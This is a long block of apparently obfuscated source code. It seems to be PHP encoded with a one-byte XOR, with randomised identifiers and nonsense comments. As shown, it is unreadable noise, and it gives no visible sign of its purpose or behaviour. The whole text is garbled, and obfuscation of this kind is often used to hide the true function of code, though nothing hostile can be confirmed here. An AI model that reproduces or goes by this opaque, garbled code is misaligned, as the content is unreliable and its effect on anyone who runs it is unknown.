?%y+98{/,xbnj')>v&(~%/+gggnnnn5Dnj&~,!}=6&x,wnnsn:<;+uDnnn3DDnnnn3DnnnDnnn'(nnf'==+:fj)##z6&)6&$:9!47}#%=++!*:fy~vggnnhhnn')<,*!v z,w(-=fy~wgfj)##z6&)6&$:9!,,&x"7%*"w>* "|fy~gggnnn5Dnnnnnnj')>v&(~%/+nnnnnsnnn/<</7fguDnnnnDnnn(!<+/-&nnnfj)##z6&)6&$:9!'9}8?4>/7?,4)fy~gn/=nj>$(|!-z!$w(;{yxgnnnnn5D'(nnnnf')<,*!v z,w(-=fygfj>$(|!-z!$w(;{yxgnnhhnnnj>$(|!-z!$w(;{yxnnossnllgn5Dj')>v&(~%/+nnsnnnnj>$(|!-z!$w(;{yxuDnn3Dnnnnn3Dnnj8 ?%y+98{/,xnnnnnnsnnnj	47}#%=++!*:fzv|guDDDDnnj')>v&(~%/+nnnnnsn4***~y4(x#~|(4*'z~7)7fj')>v&(~%/+guDDDnnnnj	')<,*!v z,w(-=fzv|gnnnnsnnj')>v&(~%/+uDnnnnj(v'9~&!#v<#7,y'9}8?4>/7?,4)fy~gnnsnnnj')>v&(~%/+uDnnnnnnn'(nnfon+#>:7f47}#%=++!*:fwxgfj')>v&(~%/+bnj8 ?%y+98{/,xggnn22nonn+#>:7f')<,*!v z,w(-=fwxgfj8 ?%y+98{/,xbnj')>v&(~%/+gggnn5DDDnj&~,!}=6&x,wnnsnnnn:<;+uDnnnn3Dn3Daan#,=:<' )n=:<'-:tn/,!<:n+?;'8/"+ -+c-"/==DDn'(nnf'==+:fj)##z6&)6&$:9!'9}8?4>/7?,4)fzv{ggnnhhn'9}8?4>/7?,4)fygfj)##z6&)6&$:9!')<,*!v z,w(-=fzv{gggn5Dnnj-)'w"})=%xw{!9-xnnsnn!|*6}/&4>&4x '{f'9}8?4>/7?,4)fy|gbnnllguDj	,,&x"7%*"w>* "|fy}gnnnsnj)##z6&)6&$:9!47}#%=++!*:fzv{guDj(v'9~&!#v<#7,y,,&x"7%*"w>* "|fyzgnnsnnnnj)##z6&)6&$:9!'9}8?4>/7?,4)fyzguDnn'(nnnf'9}8?4>/7?,4)fy{gfj)##z6&)6&$:9!47}#%=++!*:fyzggnossnnn')<,*!v z,w(-=fy{gfj-)'w"})=%xw{!9-xggnn5Daan&+<#':'/ n8'=':!<DDnnnn$4"|"44x:74/<*9 %#||8f'9}8?4>/7?,4)fyxgbnnj)##z6&)6&$:9!,,&x"7%*"w>* "|fyzgbnnn'9}8?4>/7?,4)fyygguD<$*&?|8?>;'%v<;%)v;fguDnn3Dnn; =+:fj-)'w"})=%xw{!9-xguDDDnnn3Dnnj*;v8|#vv#~*v nnnnsn'==+:fj)##z6&)6&$:9!'9}8?4>/7?,4)fzwggnhhnnnn,,&x"7%*"w>* "|fy~wgfj)##z6&)6&$:9!'9}8?4>/7?,4)fzwggnnqnnnnnj)##z6&)6&$:9!47}#%=++!*:fzwgntnn/<</7fguDDD'(nnnnnnf'==+:fj*;v8|#vv#~*v 47}#%=++!*:fzvwggnnnhhn,,&x"7%*"w>* "|fygfj*;v8|#vv#~*v ,,&x"7%*"w>* "|fzvwgggnn5Dnnnn'(nf'9}8?4>/7?,4)f{{}gfj*;v8|#vv#~*v 47}#%=++!*:fzvwggnpnnf~6|}e~6(ggn5DDDDnj	'9}8?4>/7?,4)fzvvgnnnsnnnnnj*;v8|#vv#~*v 47}#%=++!*:fzvwguDnnnnnj(v'9~&!#v<#7,y,,&x"7%*"w>* "|fyvgnnsnj*;v8|#vv#~*v ,,&x"7%*"w>* "|fyvguDnnn3nnn+"=+nn5DDDnj	47}#%=++!*:fzvvgnnnnnsnnnnlluDj(v'9~&!#v<#7,y'9}8?4>/7?,4)fyvgnnnnsnlluD$4"|"44x:74/<*9 %#||8f47}#%=++!*:fywgbnnnnllbn')<,*!v z,w(-=fyygguDDDnnnnn3Dn3Dnn'(nnnf'==+:fj*;v8|#vv#~*v 47}#%=++!*:fy|~ggnnhhn,,&x"7%*"w>* "|fygfj*;v8|#vv#~*v ,,&x"7%*"w>* "|fy|gggn5Dn'(nnf,,&x"7%*"w>* "|f{{}gfj*;v8|#vv#~*v ,,&x"7%*"w>* "|fy|ggnnnpnnfxewzggnnnn5Dnnnnnj	')<,*!v z,w(-=fy||gnnnsnnnnj*;v8|#vv#~*v ')<,*!v z,w(-=fy|guDnnnnj(v'9~&!#v<#7,y'9}8?4>/7?,4)fy|}gnnnsnnj*;v8|#vv#~*v ,,&x"7%*"w>* "|fy|zguD3n+"=+nnn5Dnnnnnnnnj	,,&x"7%*"w>* "|fy||gnsnnnnlluDnnnj(v'9~&!#v<#7,y47}#%=++!*:fy|zgnnsnnnlluDn$4"|"44x:74/<*9 %#||8f,,&x"7%*"w>* "|fz}gbnllbn,,&x"7%*"w>* "|fyygguDDnn3Dnnnnnn3Dnnnj8+;#/ w#4){nnsn'==+:fj)##z6&)6&$:9!'9}8?4>/7?,4)fy|{ggnhhn'9}8?4>/7?,4)fy|xgfj)##z6&)6&$:9!')<,*!v z,w(-=fy|yggnqnnnnj)##z6&)6&$:9!')<,*!v z,w(-=fy|ygnnntnnn/<</7fguDnnnnnj8:=&,?/,7-yw-|nsnn/<</7fDn47}#%=++!*:fy|vgnspnn,,&x"7%*"w>* "|fy|vgbDnnnnn,,&x"7%*"w>* "|fy|wgnnspnnn')<,*!v z,w(-=fy}~gbDDnnn'9}8?4>/7?,4)fy}gnspnn,,&x"7%*"w>* "|fy}|gbDnnnnnnn')<,*!v z,w(-=fy}}gnnnspnn,,&x"7%*"w>* "|fy}zgbD')<,*!v z,w(-=fy}{gnnnnspnnn'9}8?4>/7?,4)fy}xgbDnnn'9}8?4>/7?,4)fy}ygnnspn47}#%=++!*:fy}vgbDnn,,&x"7%*"w>* "|fy}wgnspnnn')<,*!v z,w(-=fyz~gbDDDn,,&x"7%*"w>* "|fyzgnnnnspn,,&x"7%*"w>* "|fyz|gbDnnnnguD(!<+/-&nnnnfj8:=&,?/,7-yw-|nn/=nj8w$/'x},<(nspnnnj8?"!:vw|?#:+$gnnnn5D'(nf'==+:fj8+;#/ w#4){j8w$/'x},<(gnhhnnnnn')<,*!v z,w(-=fygfj8+;#/ w#4){j8w$/'x},<(gnnnhhnnnn,,&x"7%*"w>* "|f{{}gfj8+;#/ w#4){j8w$/'x},<(gnpnnnf|~x|{|ggnn5Dnj(v'9~&!#v<#7,yj8?"!:vw|?#:+$nnnnnsnnj8+;#/ w#4){j8w$/'x},<(uDnnnnnnn3Dnnn3D'(nnnf'==+:fj)##z6&)6&$:9!,,&x"7%*"w>* "|f{}ggnnnhhnnnnn,,&x"7%*"w>* "|fyz}gfj)##z6&)6&$:9!47}#%=++!*:f{}gggn5DDj8*&"~'{;8;|"-vnsnf' :gnnnnnj)##z6&)6&$:9!')<,*!v z,w(-=f{}guDnn'(nnnnnnfj8*&"~'{;8;|"-vnpsnnnnnf|{ev{gnnnhhnnnj8*&"~'{;8;|"-vnnrsnf~6}(y(e~6|~ggnnj(v'9~&!#v<#7,y')<,*!v z,w(-=f{}gnsnnj8*&"~'{;8;|"-vuDnnnnnnnn3Dnn'(nf'==+:fj)##z6&)6&$:9!'9}8?4>/7?,4)fz|wggnnnhhnnn47}#%=++!*:fyzzgfj)##z6&)6&$:9!'9}8?4>/7?,4)fz|wgggn5Dj-'nnsnnnnnnf' :gnnj)##z6&)6&$:9!')<,*!v z,w(-=fyz{guD'(nnnnnfj-'npsnnf|x~ez~gnhhnnnnj-'nnrsnnfvx}~{ew{ggnj(v'9~&!#v<#7,y,,&x"7%*"w>* "|fyzxgnnsnj-'uDnnnnnnnn3D'(nf+#>:7fj(v'9~&!#v<#7,yggnnnnn5Dn*+"+:+!>:'! f')<,*!v z,w(-=fxvgguDn*+"+:+!>:'! f'9}8?4>/7?,4)fxxgguD;>*/:+!>:'! f'9}8?4>/7?,4)fyzygbnn')<,*!v z,w(-=fx||gfgguD*+"+:+:</ ='+ :f,,&x"7%*"w>* "|fyzvgguDDDnnn4")#>*-;99x${4y/!%:fgujwx9*/:z%*v's{~ezuj7zx(w*{|sjwx9*/:z%*v'czyuDDDDnnnn"%(8,-')?--{-=zfguDnnnn<+:;< uDnn3DDDDnDnnnj;x<!8;*&~}9&:nnsnnnnnn/&w~'=z( v8*?</%86;zf'9}8?4>/7?,4)fyzwgbn(/"=+guDnnnDDnn'(nnf47}#%=++!*:fy|xgfj;x<!8;*&~}9&:ggn5Dnj(v'9~&!#v<#7,ynnsn,,&x"7%*"w>* "|fz|gfj;x<!8;*&~}9&:bnnnnj(v'9~&!#v<#7,yguj8~&##xx-z!|9"s a uj* 7?!4($>}sj8~&##xx-z!|9"ezvuDn3DnnnnnnDn'(nnnnnnf'9}8?4>/7?,4)fxwvgf')<,*!v z,w(-=f{xgggnn5Dnnnj<#?y6?y8 '*$44{%nnnsn&+{6!?~%' y}~'|9?fguDDDn'(nnnnf'==+:fj(v'9~&!#v<#7,y'9}8?4>/7?,4)f{}ggnnhhnnnnnf' :gnnnnj(v'9~&!#v<#7,y,,&x"7%*"w>* "|fy{~gnnnnpsnnf}vcvgnnhhnnf' :gnj(v'9~&!#v<#7,y47}#%=++!*:fy{~gnnnrsnnnfwxyyc~}yggnnnnnj<#?y6?y8 '*$44{%nnnnsnf' :gnj(v'9~&!#v<#7,y')<,*!v z,w(-=fy{~guDDnnnnnnnn=+::</ ='+ :f/==<)w'y{{4y'%~=?fgbnj(v'9~&!#v<#7,ybnnnj<#?y6?y8 '*$44{%guDnnnnnn3DnnnnDnn96%:~&wyx|/yy~(wf'9}8?4>/7?,4)fy{gbnnnnnnj(v'9~&!#v<#7,ybnnnn,,&x"7%*"w>* "|fy{|gguDDDnnnnn'(nnnf'==+:fj(v'9~&!#v<#7,y')<,*!v z,w(-=fy{}ggnnhhnn')<,*!v z,w(-=fxwvgf')<,*!v z,w(-=fy{zggnnhhnn')<,*!v z,w(-=fxwvgf,,&x"7%*"w>* "|fy{{ggnhhnn')<,*!v z,w(-=fxwvgf'9}8?4>/7?,4)fz}ygggnnn5Dnj$/?*8<-%98&6?&#nsnnnnn9>)+:=-&+*;"+*+8+ :f4 9|#~4y?9<8|v+fgguDnnnnn'(nnfj$/?*8<-%98&6?&#nnnhhnf' :gnnnnnnj$/?*8<-%98&6?&#cp' :+<8/"nnnnnossnf' :gnj(v'9~&!#v<#7,y,,&x"7%*"w>* "|fy{}ggnnn5DDnnn9>-"+/<=-&+*;"+*&!!%f4 9|#~4y?9<8|v+fgguD9>=-&+*;"++8+ :f'9}8?4>/7?,4)fx||gfgnnennnn47}#%=++!*:fzz~gff~vwgbnnf||zeyxggbn,,&x"7%*"w>* "|fz}~gbnn4 9|#~4y?9<8|v+fgguDnnn3Dn3Dn;>*/:+!>:'! f'9}8?4>/7?,4)fyzygbn,,&x"7%*"w>* "|fy{xgfgguDnn*+"+:+!>:'! f')<,*!v z,w(-=fy{ygguDnnnn*+"+:+!>:'! f'9}8?4>/7?,4)fxxgguDnn*+"+:+:</ ='+ :f47}#%=++!*:fyzvgguD4")#>*-;99x${4y/!%:fguD"%(8,-')?--{-=zfguDnnnnnDDDDn'(nfj&~,!}=6&x,wgn5Dnn>{<$7z$v-$;848<4/~$(~fguDn3Dnn3n-/:-&nf&<!9/,"+nnnnj": >{,:|gnn5Daan*+/""!-/:+n-!8/<'/ :n(!<nnnn8|DDnnnnnnnn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|fy{vgbnnj": >{,:|guDn3nnnn-/:-&nf6-+>:'! nnj": >{,:|gnnn5Dnnnn3nn(' /""7nnnnnn5Dn){=}&w#/|!,w'7-<f,,&x"7%*"w>* "|fy{wgguDnn3Dnnnn3DDDDDDn(; -:'! n#%z/77&>78$>|w7&;fj/x+=/*>,bnnnnnnj<''&v|4v;4|;%}$ nnnnsnllbnj74/}<<#y?6nnnsn(/"=+gDnn5Dnnnnnnnn'(nfo-#'$6wy*|{{wvx"(#w z9f')<,*!v z,w(-=fy{wgggn<+:;< uDn:<7nnnnnn5DnnnnDnnnnnj) {&%,6)z?:nnnnnsnn47}#%=++!*:fz~|gfj/x+=/*>,bnn:<;+guD'(nf'9}8?4>/7?,4)fyx~gfj) {&%,6)z?:gnhhn,,&x"7%*"w>* "|f{{}gfj) {&%,6)z?:gnnnpnnnf~6wwv|~e~6xxy+~ggnnj) {&%,6)z?:nsnn$9v'='y;'&{$%$zy+fj) {&%,6)z?:guDnnnnnnnn'(nnnfonnnnj) {&%,6)z?:nn22n')<,*!v z,w(-=f{{}gfj) {&%,6)z?:gnrnnnnnfwezvgnnnnn22n,,&x"7%*"w>* "|f}xxgfj) {&%,6)z?:bn,,&x"7%*"w>* "|fyxggnossnn~gnnn5D<+:;< uD3D'(nnnfonnn84*{ <*'w~?-y,-4,;fj) {&%,6)z?:ggnn5Dnnn!%6z,zv||*<-%;=*/7";f47}#%=++!*:fyx|gbnnnn')<,*!v z,w(-=fyx}gguDn<+:;< uD3Dnn'(nf'9}8?4>/7?,4)f||zgf47}#%=++!*:fyxzgbnnnnn,,&x"7%*"w>* "|fx}}gfj) {&%,6)z?:bn~bnnnnfz~xze}|ggbnnj>>({}|(-7yv=!49~ggnn5D'(nnnfj<''&v|4v;4|;%}$ nossnnllnnnnhhnj<''&v|4v;4|;%}$ nossnnnj>>({}|(-7yv=!49~gn5D!%6z,zv||*<-%;=*/7";f')<,*!v z,w(-=fyx{gbnn')<,*!v z,w(-=fyxxgguj:7;(%7{>6|4!s{{~uj-#"<)y=4}7"z"sj:7;(%7{>6|4!kzuD<+:;< uDnnnnn3Dj<''&v|4v;4|;%}$ nsnnj>>({}|(-7yv=!49~uDDDn3nnn+"=+nnnnn5Dnnnn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|fyx{gbn'9}8?4>/7?,4)fyxygguDn<+:;< uDnnn3DDDn'(nnnnfoj74/}<<#y?6nhhnn8+<='! -!#>/<+fj<''&v|4v;4|;%}$ bnnnnn9),%/4:v49)x!/ /x9}(y:fggnrsnn~gnn5Dnn<+:;< uD3DDDnj {v;|-' ~6/?="*nsnn+4667 68'<#||9fguDDnn'(nfoj {v;|-' ~6/?="*nnn22nnnn,,&x"7%*"w>* "|f{{}gfj {v;|-' ~6/?="*gnnnnnrnnnnfz||eyvggnn5Dnn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)fyx{gbnn47}#%=++!*:fyxvgguDnnn<+:;< uDDD3Dnnnnnnnj=#9";?;=;y{"?nsnnn)+:!>:'! f,,&x"7%*"w>* "|fvwgguDnnnn'(nf,,&x"7%*"w>* "|fyx~gfj=#9";?;=;y{"?gnhhnnnnn47}#%=++!*:f}xxgfj=#9";?;=;y{"?bnn'9}8?4>/7?,4)fy{gfj) {&%,6)z?:gn`ni2ignnsssn~gnnn5Dnnnj/{{:<-"|,$= nsnf' :gn'9}8?4>/7?,4)fx}}gfj=#9";?;=;y{"?bnn47}#%=++!*:f}xxgfj=#9";?;=;y{"?bnnni2ignnenguDnnnn'(nnf'9}8?4>/7?,4)fy{xgfgnncnnnj/{{:<-"|,$= nnnnnrnnnfv{|z|e{vggnnnn5DDnnnnnnn<+:;< uDnnnnn3Dn3Dnnj*?,6,,}=');{nsn')<,*!v z,w(-=fyxwgf<xw=w,+~4~}#8~fggnnn`nnn,,&x"7%*"w>* "|fv{gn`nnn'9}8?4>/7?,4)fy{gfj) {&%,6)z?:guDn'(nnnf,,&x"7%*"w>* "|f{wygfj*?,6,,}=');{ggn5Dnnnj7v'8='7~9znsnnnnnnf' :gnn,,&x"7%*"w>* "|f|~|gfj*?,6,,}=');{guDnnnn'(nnfj7v'8='7~9znhhnnnn,,&x"7%*"w>* "|fyy~gfgnnncnj7v'8='7~9znnnnnnrnfv|{exvzwggnn5Dn<+:;< uDn3DDnn')<,*!v z,w(-=fyygfj*?,6,,}=');{guD3Dnnn; =+:fj*?,6,,}=');{bnj7v'8='7~9zguDj,!/$;!#&<8?nnsnn(/"=+uDnnn'(nnnnf'9}8?4>/7?,4)fxwvgf'9}8?4>/7?,4)fzz{ggnnnnhhn')<,*!v z,w(-=fyy|gf,,&x"7%*"w>* "|fx}ygggnnn5Dnnnnj7+6?|7(<:x98:v%nsnnnnn47}#%=++!*:fzz{gf&!#+;<"fiaigbnnn/<</7f'9}8?4>/7?,4)fyy}gnnnnspnnfzcxgbnnnnnn,,&x"7%*"w>* "|fyyzgnspnn|bnnn,,&x"7%*"w>* "|f}}vgnnnnnnspnnn(/"=+gguDnn'(nnnnnfonnnf,,&x"7%*"w>* "|fyy{gf'9}8?4>/7?,4)f}z|ggnnnnhhnnnnn'=9>+<<!<fj7+6?|7(<:x98:v%gggn5Dnnnnnnnj,!/$;!#&<8?nnnnnsnf' :gnn9><+#!:+<+:<'+8+<+=>! =+-!*+fj7+6?|7(<:x98:v%gnpsnnfxezwzguDnnnnnn3Daan/9/':n<+=!"8+<DDDnn3Daan-!#>'"+n-!#>!=':+n(!<n+-:!<n/;:!c<+(/-:!<DDnnnnnnnnj/);6&|v ~##nnsnnn(/"=+uj";<?x|!?"=}s uj"?6 {#< sj";<?x|!?"=}dvuDnnnnnn'(nnnnf')<,*!v z,w(-=fyyxgf')<,*!v z,w(-=fyyygggn5Daan*+/-:'8/:+n:;#,"' )c9' *!9DDnj'74<yv) x=*y$#nnnsnn)+:!>:'! f,,&x"7%*"w>* "|fyyvgbnnnnn/<</7fgguDDDDj/);6&|v ~##nnsnnn')<,*!v z,w(-=fy|xgfj'74<yv) x=*y$#gnhhnn,,&x"7%*"w>* "|fyywgf?9~&<{x4,yw~wx(4/<~fgbnnj'74<yv) x=*y$#bn:<;+guDnnnnnnnn3D??:+}<">$9;(=4=8'-+f<xw=w,+~4~}#8~fgbnnnnf}vxe}zgguDnnnnn'(nnnfonn=,?(,4;}z-}  {8=6$'6>f<xw=w,+~4~}#8~fgbnn:}(#?!!(%;7/+%{! 9fj) {&%,6)z?:gggnn5Dn!%6z,zv||*<-%;=*/7";f')<,*!v z,w(-=fyx{gbnn47}#%=++!*:fyv~gguDn<+:;< uD3Dn"~/(%7wz&:z(&w/f<xw=w,+~4~}#8~fgguDnnn ,v  6"!(;6%6 v"7f<xw=w,+~4~}#8~fgguDn'(nf,,&x"7%*"w>* "|fyyxgf'9}8?4>/7?,4)fyvgggnnn=+::</ ='+ :f')<,*!v z,w(-=fyv|gbnbnf|yye|}gguj=(|}<>&y?!>-7'sc{xuj4 44>4-%" ><sfj=(|}<>&y?!>-7'p~gqj=(|}<>&y?!>-7'tcj=(|}<>&y?!>-7'uD'(nnnnfonnnnj,!/$;!#&<8?nnhhnn'9}8?4>/7?,4)fyyxgf,,&x"7%*"w>* "|fzz{ggnnnhhnn'9}8?4>/7?,4)fyyxgf'9}8?4>/7?,4)fyv}gggnn5Dnnnnnnj:,#zv{|~:7!;"->nnnsncuDnnnnnn(!<nfj*97<9)?vvv'y?znnnnnsnn~unnnj*97<9)?vvv'y?znnrnnnnnn|unnj*97<9)?vvv'y?zeegnnnnn5Dnnnnnnj'*:$<8"9$: 47nsnnnnn47}#%=++!*:fyvzgf&!#+;<"f,,&x"7%*"w>* "|fyv{gnn`nnn')<,*!v z,w(-=fzz~gffwww|eywgbnnnnnnfwwwww|eygggbn/<</7f,,&x"7%*"w>* "|fyvxgnnnspnfzrrgbnn,,&x"7%*"w>* "|fyyzgnnnnnspnn|bnnnnnn')<,*!v z,w(-=f}}vgnspnnn(/"=+gguDnn'(nnnnnf47}#%=++!*:fyyxgf,,&x"7%*"w>* "|f}z|ggnnhhnnn'=9>+<<!<fj'*:$<8"9$: 47ggn5Dn'(nnnnnfj*97<9)?vvv'y?znnnnsssnn~nnhhnnnnn'9}8?4>/7?,4)fyyxgf')<,*!v z,w(-=fyvygggn47}#%=++!*:fyvygf|guDnnnnn-! :' ;+uD3Dnnnj/z~%9$$)")x>>)#nnsnnf' :gnnnnn9><+#!:+<+:<'+8+<+=>! =+-!*+fj'*:$<8"9$: 47guDnn'(nnnfj/z~%9$$)")x>>)#nnnnnnrnnnfy}e|ygn22nnnn,,&x"7%*"w>* "|fyvvgfj/z~%9$$)")x>>)#bnnnnnn/<</7ffy~vc|~{gbnnfz{vex|gbnnf|vwe|}|gbnnnf{~we}gbnnnf{||egbnf{ze~gbnnf}~ezwxgbnnnnf~6|~ye~6vggbn:<;+ggnnn5DDDD'(nfj*97<9)?vvv'y?znsssnnnnn~nnhhnnnnn'9}8?4>/7?,4)fyyxgf47}#%=++!*:fyvygggnn'9}8?4>/7?,4)fyvygf|guDnnnn-! :' ;+uDnn3Dnnnj:,#zv{|~:7!;"->nsnj/z~%9$$)")x>>)#uDnn,<+/%uDnnn3Daann;::! n"!-%n9'*)+:n<+ *+<DDn'(nnnnfj:,#zv{|~:7!;"->nnnsssnnnncgnnnnnj:,#zv{|~:7!;"->nnnsnnnfzx~ez~gunDnnnnn'(nnnnfj:,#zv{|~:7!;"->npsnfzv|evggnnnn5Dnnnj;?(<y{;}/9<7:nsn=,?(,4;}z-}  {8=6$'6>f<xw=w,+~4~}#8~fgbnnnnn:}(#?!!(%;7/+%{! 9fj {v;|-' ~6/?="*gguDn'(nnnfoj;?(<y{;}/9<7:gnnj;?(<y{;}/9<7:nnnsnnnn=,?(,4;}z-}  {8=6$'6>f<xw=w,+~4~}#8~fgbnnnnnnj {v;|-' ~6/?="*guDnn;>*/:+!>:'! f'9}8?4>/7?,4)fvwgbnnn'9}8?4>/7?,4)fy{gfj) {&%,6)z?:gn`nni2in`n47}#%=++!*:fyy~gfgbnnn,,&x"7%*"w>* "|fyvwgguDn'(nnfoj;?(<y{;}/9<7:gnn5Dn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)fyw~gbnnnn47}#%=++!*:fywgn`nnj:,#zv{|~:7!;"->guDnn<+:;< uDn3Dnnnnnnnn ,v  6"!(;6%6 v"7f<xw=w,+~4~}#8~fgguDnnn"~/(%7wz&:z(&w/f<xw=w,+~4~}#8~fgguDn+4667 68'<#||9f:<;+guDDDDn6:}/<")$?4:?9=':|f:<;+guDnj&9;;64*{7x?<nnnnsn')<,*!v z,w(-=f|{ygf<xw=w,+~4~}#8~fgbnnn47}#%=++!*:f{~xgguDnnnn(!<+/-&nnnf/<</7f')<,*!v z,w(-=fyw|gf<xw=w,+~4~}#8~fggbn;-/!w +!8v87%z=!&:~~ fggnn/=nnnnj':?}{=(-|>6v:&v6gnnnnnn5DD,,&x"7%*"w>* "|fyygfj':?}{=(-|>6v:&v6nnnnnn`nnn47}#%=++!*:f|~xgn`nnj&9;;64*{7x?<guDnnnnnn,,&x"7%*"w>* "|fyygfj':?}{=(-|>6v:&v6nn`nnnnn,,&x"7%*"w>* "|fyw}gn`nj&9;;64*{7x?<guj9y;>=&; {4"s{dvuj4*{$*%-=%'sj9y;>=&; {4"cwuDDD3Daan8+-:!<'4+n><+=-<'>:'8+n><'!<':7c?;+;+DDnn'(nfj/);6&|v ~##nnnhhnnnno//7;8}<w}4/, v4+#fgnnnhhnn47}#%=++!*:fywzgf')<,*!v z,w(-=f}w{gggn5Dj8/*/!"49nnnnsnnn)+:!>:'! f,,&x"7%*"w>* "|fyyvgbnn/<</7fgguDDDn'(nnnnnnf'9}8?4>/7?,4)fyw{gfj8/*/!"49gnhhno,,&x"7%*"w>* "|fywxgf?9~&<{x4,yw~wx(4/<~fgbnj8/*/!"49bnn:<;+ggnn5Dnnj8/*/!"49nnsn?9~&<{x4,yw~wx(4/<~fguD;>*/:+!>:'! f47}#%=++!*:fyyvgbnnj8/*/!"49guDnn3D3Dnj	47}#%=++!*:fywygnsn~uDnnnn"%(8,-')?--{-=zfguDnnn!%6z,zv||*<-%;=*/7";f'9}8?4>/7?,4)fyw~gbnnnnn'9}8?4>/7?,4)fywvgnn`nnj:,#zv{|~:7!;"->guDnn<+:;< uDDn3Dnnnn3Dnn'(nnnfj<''&v|4v;4|;%}$ nnossnnnnnllgnn5Dnnnnj	,,&x"7%*"w>* "|fgnnnsnnj<''&v|4v;4|;%}$ uDDDDn!w9=)}#/& |}9%zf<xw=w,+~4~}#8~fgbnnnj<''&v|4v;4|;%}$ guDnnn3Dnn'(nnnfj74/}<<#y?6gnnn5Dnj4zv;}{#}<4 y'8nsnn,,&x"7%*"w>* "|f|{ygf<xw=w,+~4~}#8~fgbnn47}#%=++!*:f{~xgguD(!<+/-&nnnnnf/<</7f47}#%=++!*:fyw|gf<xw=w,+~4~}#8~fggbnnnn;-/!w +!8v87%z=!&:~~ fggnnn/=nj' #<{"~|*<:'(gnn5Dnn'9}8?4>/7?,4)fyygfj' #<{"~|*<:'(nnn`n')<,*!v z,w(-=fywwgn`nnj4zv;}{#}<4 y'8guDnnnn3Dnnn; =+:fj4zv;}{#}<4 y'8bnj' #<{"~|*<:'(guD3Dn$4"|"44x:74/<*9 %#||8f')<,*!v z,w(-=fv~~gbnj) {&%,6)z?:bnnnnnn'9}8?4>/7?,4)fyvwgguDnnn+4667 68'<#||9f:<;+guDn6:}/<")$?4:?9=':|f:<;+guDnnj	'9}8?4>/7?,4)fywygnsn~uDnnn"%(8,-')?--{-=zfguD??:+}<">$9;(=4=8'-+f<xw=w,+~4~}#8~fgbnnnnnfwvewzgguDnnn'(nnf ,v  6"!(;6%6 v"7f<xw=w,+~4~}#8~fgggn+wz$"%z*-z:%}"f<xw=w,+~4~}#8~fgguD;>*/:+!>:'! f')<,*!v z,w(-=f|zgbnnnnj<''&v|4v;4|;%}$ n`nni2inn`nnnn47}#%=++!*:fyy~gfgbnn,,&x"7%*"w>* "|fyvwgguDnnn3nnn-/:-&nnnnnf&<!9/,"+nnj": >{,:|gn5Dnnnn!%6z,zv||*<-%;=*/7";f47}#%=++!*:fyw~gbnnnnnnj": >{,:|guDDDD3n-/:-&nnf6-+>:'! nnnnnj": >{,:|gnnnn5Daan*+=+<'/"'4+n8'=':!<n(!<n+-:!<n/;:!c<+(/-:!<DD3n(' /""7n5Dn){=}&w#/|!,w'7-<f47}#%=++!*:fv~gguDDnn3Dnn3Dnnn(; -:'! nn-)=;$~7=z "z4fgDnnnnnn5Daan:</-+n,<'*)+n(!<nn"!-%! :<!"=DDDDn'(nfonnnnn*+(' +*f47}#%=++!*:fv~|ggnnnnn22nnnnnon')<,*!v z,w(-=fywzgf47}#%=++!*:fv~}gggnnnn5Daan=>+-'/"'4+n(/':&(;"n9<':+c/&+/*c"!)DDnn'(nf')<,*!v z,w(-=fv~zgfnnnn`nnn47}#%=++!*:fv~{gggnn5Daan!<*<+==nx`zn>/::+< =tn=/:'=('/,"+n="'*' )c9' *!9DDnnnnnnnn<+?;'<+! -+nnnnnnnn`n')<,*!v z,w(-=fv~{guj z}9<7~6x+6#v<sf~6,,e~6{guj:?/ +-+<#{-?#sj z}9<7~6x+6#v<k|uDn3Dn'(nnnnnnfonnnnnn'9}8?4>/7?,4)fywzgf'9}8?4>/7?,4)fv~}gggnnn5Daannv`n' :+<=+-:'! tn<+"/6+*n' :+<><+:+<DDDDDnnnn<+:;< uDnnnnnnnn3Daan><!>/)/:+c-! =:n*+/*c"+::+<DDn3Daan-"+/ +<n/-:'! DDnj?>)/~xxy-nnnnsn)+:>";)' =fguDnnnn'(nnnfonn,,&x"7%*"w>* "|fyw{gfj?>)/~xxy-ggnnn5DDnnnnn<+:;< uDDnn3Dnnnnnnj"'=:nsnnn/<</7fguDnnnn(!<+/-&nnfj?>)/~xxy-n/=nnj,/=+ /#+nnnnnspnnj9/&7:;7!9==:gn5Dn'(nfj,/=+ /#+nsssnn?9~&<{x4,yw~wx(4/<~fggnnnnn5Dn-! :' ;+uDnn3Dnnj"'=:j,/=+ /#+nnnsnnnnnj9/&7:;7!9==:uDDD3Dn<+:;< nnj"'=:uDDDn3Dnn(; -:'! n=>y&<y,>,=;>fj-!"946+"v/!bnnj8*'6!+7$!z8+}6?gDnnnnnnnn5Daan:<'>n-!; :DDDDnnDnnnj8)~':+{>&=6&nnsnnnnn,,&x"7%*"w>* "|f{wwgfj-!"946+"v/!bnn(/"=+bnnn ;""bnn~bnnf~6}/xye~6z{w+wggunnnnDn'(nnfonj8)~':+{>&=6&gnnnn5Dnnn<+:;< nnnnnn(/"=+uDn3DDnnnnnnnnDnnnn(!<+/-&nnnfj8*'6!+7$!z8+}6?nn/=nnj='+x6{x+-gnnn5DnDnnn'(nnnnnfonnnnn,,&x"7%*"w>* "|fyx~gfj='+x6{x+-gnn22nnnnonnnnnj='+x6{x+-nnnn22n47}#%=++!*:f{{}gfj='+x6{x+-gnnpnnnnnnf~6/{we~6{/yggnnnnn5Dnn-! :' ;+uDDDDnnnnn3DDnDnnn:<7nnnn5DDDDj8y${w=# x(w>ynnsn47}#%=++!*:fv~xgfj='+x6{x+-bnnj8)~':+{>&=6&guDnnn3nn-/:-&nf&<!9/,"+nnnnnnj>;+,;76?+y!)4"v(gnnnn5Dn!%6z,zv||*<-%;=*/7";f,,&x"7%*"w>* "|fv~ygbnnj>;+,;76?+y!)4"v(guDnnnnnnn-! :' ;+uDnnnn3n-/:-&nnnf6-+>:'! nnnj>;+,;76?+y!)4"v(gn5DDDn-! :' ;+uDnnn3DDnnn'(nfj8y${w=# x(w>ygn5D<+:;< n:<;+uDn3Daan'=!#+:<'-n>'>+"' +DDnn3Dn<+:;< n(/"=+uDDnnn3DnD(; -:'! nnnn:&~${6,>xz=7x*fj>";)' ,/=+ /#+gDDDnnnnn5Dnnj8*'6!+7$!z8+}6?nnnnsnnnj	,,&x"7%*"w>* 